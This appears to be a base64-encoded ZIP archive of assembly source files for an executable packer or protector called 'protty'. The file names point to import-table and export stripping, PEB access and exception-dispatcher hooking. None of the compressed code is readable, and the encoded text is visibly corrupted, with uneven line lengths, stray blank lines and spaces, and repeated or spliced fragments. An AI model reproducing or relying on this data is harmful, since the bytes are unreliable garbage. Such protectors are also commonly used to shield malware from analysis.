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
UzTvTu2IbaWsa50kRkJYvabJnAAbOxITYJGcXcO2187vA7TTLM51KK3hcgPr
6rvjaTC7/UvPFvr3Cn7qIRu13p3qp0WT4GbxwrweI4bwu8lwNHJns9MHzybs
yeMnzPePn91zAn2qpKpz0gpR5q3p59nvw2Dme59HfjfAH3ulx24RtvKtqKqv
fwBQSwMEFAAAAAgAmlKrMn42UcAHAgAABwgAADEAAABQUk9UVC1QQUNLL3By
b3R0eS1jdXJyZW50L3NvdXJjZS9wcm90L2dldGFwaXMuaW5jrZVNb9swDIbP
DpD/YPhcFMN22y5rE+8DTbMiTrbDMhiaRcRaVEuqQb795NdO/KHHOiwm0W+
fiiRlDifzWcHwJRwnhLJyiCQSmRzYw2kLnNCq0+z+FiLJEsJpSqMHuLNOl69
e3u7XK2im+g7U6gJv+NcZJFRP4uXkJ6EoqFEFf5Mu/5fN0DOY+J6a1AN7oHt
SlDxOQOJTBRLVkqCWQ7KxZ4Ut4EGPwhO0yPz2MUGeVwgqIViyDLCE8iqAK49
TEg9gqyoSnKNVJyKJ5N4KEsXf6zyQK9xIQpkhQYX0nonUIMSfy3vCf1hzgdP
6KxDT+DH/KZRalzCb31IULHicOcCj1V+9M+AW5YdF0IX6OJ2/X7Epo1NCdAU
+EqjN4oJ6i6JNxfmoykmOcC9ODsP33H77TE+M7zSSR23Hy8B3BU5KSgHerlk
nxg33R4FjgBX9N5lexRUc/hSQ5xZGWo8j8IBpAtXO/zTu80VEDqV3VdvQ/sw
xMXv9+aB/QNH/Lun+lmC2m+AAymhWd5Szk2cMhenFNr8RRVpGKwv+S8BhUYl
poPV7iaQOf3raKgmhZDVoAgU4Hw0T6CgsrJ2EEEQUBq+aW2XM1i7TaS11VUK
7HrYBFY43YKtpHOtLPCld3l7gS4PhbV2Z5q1Tk6jVjAxKlq3fZYts/eyWvP4
Xeylr7nlVj8eIq1rPvsHUEsDBBQAAAAIAHZSqzJHgUxYBgQAAMUOAAAyAAAA
UFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9ndWFyZGlh
bi5pbmO9Vl1v2joYvjYS/8EX56IbH2NTNZ0D21Ra0q5TV1ABaVuFLMd2S7YQ

e7FZaX/98UccMgiEK0olyPvl5/H72G96rVYLXk37d4Pr/i0c3Q0vxrC1/69e
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
NwJsd2zbz
USOSxeb8INjWBXJTFBfZ3XjEkTg1DPJCTATFKcrTGQR/2krmanE4/M59DR6q

ngpeQDGdfPsERgN8PE1b7n/fH75hP3N+PrDBclP+oBaXKbOzSzfHDd9x4Wb/
9Iav1HIKweC1B3S4PZ3vZYNbJXaY2+py29hWVziZ4STndlt+axdBk9sK21zj
8zk8qLot/K2lfGAXdqfd4cy+UC/U9CqrBvYITTYsX2nkReX+jb/p8AYKWYkc
+oDGFfRiXJ6/HY64X/d73gZW6Vl5OrwdH6S7m5GfhKjVkgS0bRaEKHYjxNVD
SCbKxHqCI3Mn3W3OOMBqNCD5tofoAptJwcVwyVx7uNSmkilyvHRJEqrv2Bg3
VUv5eqal4F7hWnL/LyAb8f787f5EBj1N2L6W4De+bPfbpobpYfeDVhuiKBjv
6eb8TC0aXze4iVjapqtx0tNhj22ArPfpsXzEpZSPdc/weTF/y+wzV9/j4QkH
